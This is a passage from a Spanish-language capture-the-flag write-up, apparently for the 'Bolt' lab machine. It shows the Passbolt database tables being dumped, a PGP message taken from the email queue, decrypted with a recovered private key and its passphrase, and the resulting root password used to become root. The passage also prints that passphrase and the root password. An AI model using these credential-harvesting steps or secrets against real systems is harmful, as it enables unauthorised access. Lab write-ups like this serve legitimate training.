| Tables_in_passboltdb  |
+-----------------------+
| account_settings      |
| action_logs           |
| actions               |
| authentication_tokens |
| avatars               |
| comments              |
| email_queue           |
| entities_history      |
| favorites             |
| gpgkeys               |
| groups                |
| groups_users          |
| organization_settings |
| permissions           |
| permissions_history   |
| phinxlog              |
| profiles              |
| resource_types        |
| resources             |
| roles                 |
| secret_accesses       |
| secrets               |
| secrets_history       |
| user_agents           |
| users                 |
+-----------------------+
25 rows in set (0.00 sec)

mysql> describe email_queue;
+---------------+--------------+------+-----+---------+----------------+
| Field         | Type         | Null | Key | Default | Extra          |
+---------------+--------------+------+-----+---------+----------------+
| id            | int          | NO   | PRI | NULL    | auto_increment |
| email         | varchar(129) | NO   |     | NULL    |                |
| from_name     | varchar(255) | YES  |     | NULL    |                |
| from_email    | varchar(255) | YES  |     | NULL    |                |
| subject       | varchar(255) | NO   |     | NULL    |                |
| config        | varchar(30)  | NO   |     | NULL    |                |
| template      | varchar(100) | NO   |     | NULL    |                |
| layout        | varchar(50)  | NO   |     | NULL    |                |
| theme         | varchar(50)  | NO   |     | NULL    |                |
| format        | varchar(5)   | NO   |     | NULL    |                |
| template_vars | longtext     | NO   |     | NULL    |                |
| headers       | text         | YES  |     | NULL    |                |
| sent          | tinyint(1)   | NO   |     | 0       |                |
| locked        | tinyint(1)   | NO   |     | 0       |                |
| send_tries    | int          | NO   |     | 0       |                |
| send_at       | datetime     | YES  |     | NULL    |                |
| created       | datetime     | NO   |     | NULL    |                |
| modified      | datetime     | YES  |     | NULL    |                |
| attachments   | text         | YES  |     | NULL    |                |
| error         | text         | YES  |     | NULL    |                |
+---------------+--------------+------+-----+---------+----------------+
20 rows in set (0.00 sec)

mysql> select template_vars from email_queue;

-----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

wcBMA/ZcqHmj13/kAQf/S2jK++GnBCjrTPSF8bSdxLegFa7RCK88m0L2Rmyb
QUiAlCWU8ZQxww4IsE99cSQOEwEKZ+vYHZzUY76jkVB8TzonbRlqhza08hVg
7z2INaxvtC5gHdOj1EdjsmQwvzbceYUNan/r4gfwsgqsvwTaLfp4bjEnZE96
tXUrsDdN/eG1iM6cU8nTuIs+4uqQhY7HKtHjvCmbVKvWfECU9uxszHQ83CG2
oTl7X8jAAKOppOnj9MOoHK2CCKpzL5202WBG6rUJBm9HyAz2QRy8sgXLHGuW
ES6612ZXY8CYBZzhHuS+Qbl7OKSfINDlnO/ZGA3ljlwJXj7Zlg0oezb6Dn4Q
x9LA7wGjTGNAygXxn5vptqDlB7IobWz8JuMf1rFxGn30Al4lcgNJM/sF0UJ+
gJ3Y+JjsnHVJxhy49LAqofqGzi1ozYNBs+rAk0dZmHLWUMEapAqPi3eQS+F6
VqnbuW1KqL9fHldQU9oWa78RFf6mqkdSUepM6Oiq+zGzxAwL+0x1nBVGXMz6
XuzZWLzjP3L0iuUBuAlth3/cvw6xSQ1z7inyqz37JiHAPrFLHl+wp20ENKqs
lBMVeY4cW1/xxMOekEox5PSds6P/6GM5pUoI4Gu3mxjGPaba4rb+KQh8An3A
xGWUqOgcLzBK5D3WQwqQhtpcjEpOKhUeIvG7q+q61jxrIbg44wzwue9DG1Bu
0cmWN/ahal9V5Yp5ujC49j2vn1SZ36MXJbakGDmmCNZWMVq0Im1yUD2IsRb6
JLTYBI1gCL6Y+NEeE2GoPqTVnRrDsJreN5yx4SvWg11kxFIALghcQqNfBgJi
VIPlTmPHGUFHKG0R9anuhPEn1glpH4bgisP/sZMWQ4OBwgtHhPy/7IjhUh3j
q3dxTlOnr8Kt5gtwCSGuy4WU79JcgjMbUOj/LP8d
=+2oL
-----END PGP MESSAGE-----

El mensaje lo vamos a guardar en un archivo llamado message.crypted y la clave privada en un archivo llamada private.key, el archivo passwd es la contraseña para la clave privada merrychristmas. Debemos tener estos archivos en el mismo directorio

1
2
# ls                      
 message.crypted   passwd   private.key

Importamos la clave privada he introducimos la contraseña de la clave

1
# gpg --import private.key

Desencriptamos el mensaje he introducimos la contraseña

1
# gpg --decrypt message.crypted 

Este es el mensaje obtenido

1
{"description":"","password":"Z(2rmxsNW(Z?3=p/9s"}gpg: Signature made Thu Feb 25 22:50:11 2021 CET

Probamos la contraseña para ver si podemos convertirnos en usuario root y funciona

1
2
3
4
eddie@bolt:/home$ su root
Password: 
root@bolt:/home# whoami
root
Esta entrada está licenciada bajo CC BY 4.0 por el autor.